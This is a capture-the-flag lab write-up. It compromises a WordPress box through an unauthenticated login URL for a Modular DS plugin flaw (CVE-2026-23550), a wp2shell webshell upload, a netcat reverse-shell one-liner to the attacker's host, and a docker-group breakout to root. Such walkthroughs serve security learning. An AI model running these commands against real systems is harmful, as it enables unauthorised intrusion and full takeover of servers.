

Dark

*Lab link: <https://www.hacksmarter.org/courses/bb164cba-ddc9-4cb0-8e95-ad4853d0143c/>

Port Enumeration

rustscan:

```
rustscan -a 10.1.110.54 -g -- -Pn
10.1.110.54 -> [22,80]
```

nmap:

```
sudo nmap -sTCV -Pn -open -T4 10.1.110.54 -p 20,80
[sudo] password for kali:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-22 22:02
-0400
Nmap scan report for 10.1.110.54
Host is up (0.027s latency).
Not shown: 1 closed tcp port (conn-refused)
PORT      STATE SERVICE VERSION
80/tcp    open  http      Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-generator: WordPress 6.0
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-title: Dark &#8211; Just another WordPress site
```

HTTP service enumeration

Enumerating web service using "feroxbuster". We can notice "WordPress" paths.

```
feroxbuster --url http://10.1.110.54 -w  
~/tools/wordlist/big2_ah9bf3.txt -C 404
```

So I switched to scanning the CMS using "wpscan".

```
wpscan --url http://10.1.110.54 --enumerate p --plugins-  
detection aggressive --random-user-agent --api-token  
<my_token>
```

Giving that we don't have valid creds, and I did try some default password on "wp-login" pages without success, the most promising vulnerability is "CVE-2026-23550" in "Modular DS" plugin that could give us unauthenticated access.

```
[+] modular-connector  
| Location: http://10.1.110.54/wp-content/plugins/modular-connector/  
| Last Updated: 2026-08-10T10:40:00.000Z  
| Readme: http://10.1.110.54/wp-content/plugins/modular-connector/readme.txt  
| [!] The version is out of date, the latest version is 3.2.1  
  
| Found By: Known Locations (Aggressive Detection)  
| - http://10.1.110.54/wp-content/plugins/modular-connector/, status: 403  
  
| [!] 2 vulnerabilities identified:  
  
| [!] Title: Modular DS < 2.5.2 - Unauthenticated Privilege Escalation  
| Fixed in: 2.5.2  
| References:  
| - https://wpscan.com/vulnerability/3ccaa0fd-b11c-4f9f-bab5-644a53b11035  
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23550  
| - https://patchstack.com/database/wordpress/plugin/modular-connector/vulne  
rability/wordpress-modular-ds-monitor-update-and-backup-multiple-websites-plugin-2  
-5-1-privilege-escalation-vulnerability
```

After trying to many exploits and not getting real result. I found the following blog indicating a simple request to a path will get a connected session:

<https://hurayraiit.com/blog/cve-2026-23550-critical-privilege-escalation-in->

The PoC

For now, I will not publish the PoC for CVE-2026-23550, as it is still being actively exploited. I may publish it later after most sites have been updated to the patched version.

Step 01: In your WordPress installation, installed and activate the plugin version 2.5.1

Step 02: Connect your site to their management portal (<https://app.modulards.com/>)

Step 03: As an unauthenticated user, simply visit this URL: `https://example.com/api/modular-connector/login/anything?origin=mo&type=foo` and you will be automatically logged in as an admin.

And as soon I copy paste the path, I am logged in as "streetcoderadmin".

Howdy, streetcoderadmin 

RCE

We could upload a plugin or editing themes PHP files to get a web shell but instead, I used "wp2shell" exploit with "shell option". This will require to put the valid credentials is the command line so it will be able to push the RCE plugin.

```
[+] WordPress version 6.0 identified (Insecure, released on 2022-05-24).
```

So lets start by changing "streetcoderadmin" password to use it later.

Dashboard

Posts

Media

Pages

Comments

Appearance

Plugins 2

Users 1

All Users

Add New

Profile

Tools

Settings

Collapse menu

Display name publicly as streetcoderadmin

Contact Info

Email (required) admin@yourdomain.com

If you change this, an email will be sent at your new email address.

Website http://172.16.1.84

About Yourself

Biographical Info

Share a little biographical information to fill out your profile.

Profile Picture

You can change your profile picture on Gravatar.

Account Management

New Password Set New Password 2

Then, execute "wp2shell" exploit.

```
python3 wp2shell.py shell http://10.1.113.163 --user  
streetcoderadmin --password '0W31jx50ivkcdV#TTQpp2I26' --  
interactive
```

It work! we are connected to the machine as "www-data" user.

```
└─$ python3 wp2shell.py shell http://10.1.113.163 --user streetcoderadmin --password 'OW31jx50ivkcdV#TTQpp2I26' --interactive
wp2shell - RCE PoC by 0xsha
[*] Using supplied credentials for 'streetcoderadmin'.
[!] This uploads a plugin containing a webshell to the target.
[*] Authenticating as 'streetcoderadmin' ...
[+] Authenticated.
[*] Deploying webshell plugin ...
[+] Webshell: http://10.1.113.163/wp-content/plugins/wp2shell_8e53e286/wp2shell_8e53e286.php
[*] Interactive shell - 'exit' or Ctrl-D to quit.
/var/www/172_16_1_84_/public/wp-content/plugins/wp2shell_8e53e286 $ ls
wp2shell_8e53e286.php
```

```
/var/www/172_16_1_84_/public/wp-content/plugins/wp2shell_8e53e286 $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),121(docker)
```

Privilege Escalation

"wp2shell" exploit Shell wasn't very responsive so I launched a listener on my machine and netcat to it from "wp2shell" shell session.

```
/var/www/172_16_1_84_/public/wp-content/plugins/wp2shell_8e53e286 $ cd /
/ $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.200.84.104 443 >/tmp/f
└─$ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.200.84.104] from (UNKNOWN) [10.1.113.163] 60674
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

the "id" command gave a good hint to PE the machine through container breakout scenario, since we see that our user is member of "docker" group which give us "docker" execution as "root".

So first, we run a privileged container and mount the host root directory on it.

```
docker run -it --rm --privileged -v /:/mnt/host ubuntu:latest
```

```
www-data@dark:/tmp$ docker run -it --rm --privileged -v /:/mnt/host ubuntu:latest
test
< -it --rm --privileged -v /:/mnt/host ubuntu:latest
root@762e0481812d:/#
```

Then, we change the current process directory using "chroot" which indirectly give us access to the machine root directory.

```
chroot /mnt/host /bin/bash
```

```
root@762e0481812d:/# chroot /mnt/host /bin/bash chroot /mnt/host /bin/bash  
chroot /mnt/host /bin/bash
```

We can now see the root flag. That prove that we can access anything on this machine which can give many ways to comprise the machine more.

```
root@762e0481812d:/# cat /rcat /root/root.txt  
cat /root/root.txt  
flag{ }
```

Happy Hunting!

References:

<https://hurayraiit.com/blog/cve-2026-23550-critical-privilege-escalation-in-wordpress-modular-ds-plugin-cvss-10/>

<https://github.com/0xsha/wp2shell>

<https://infosecwriteups.com/privilege-escalation-using-docker-container-e9110713936b>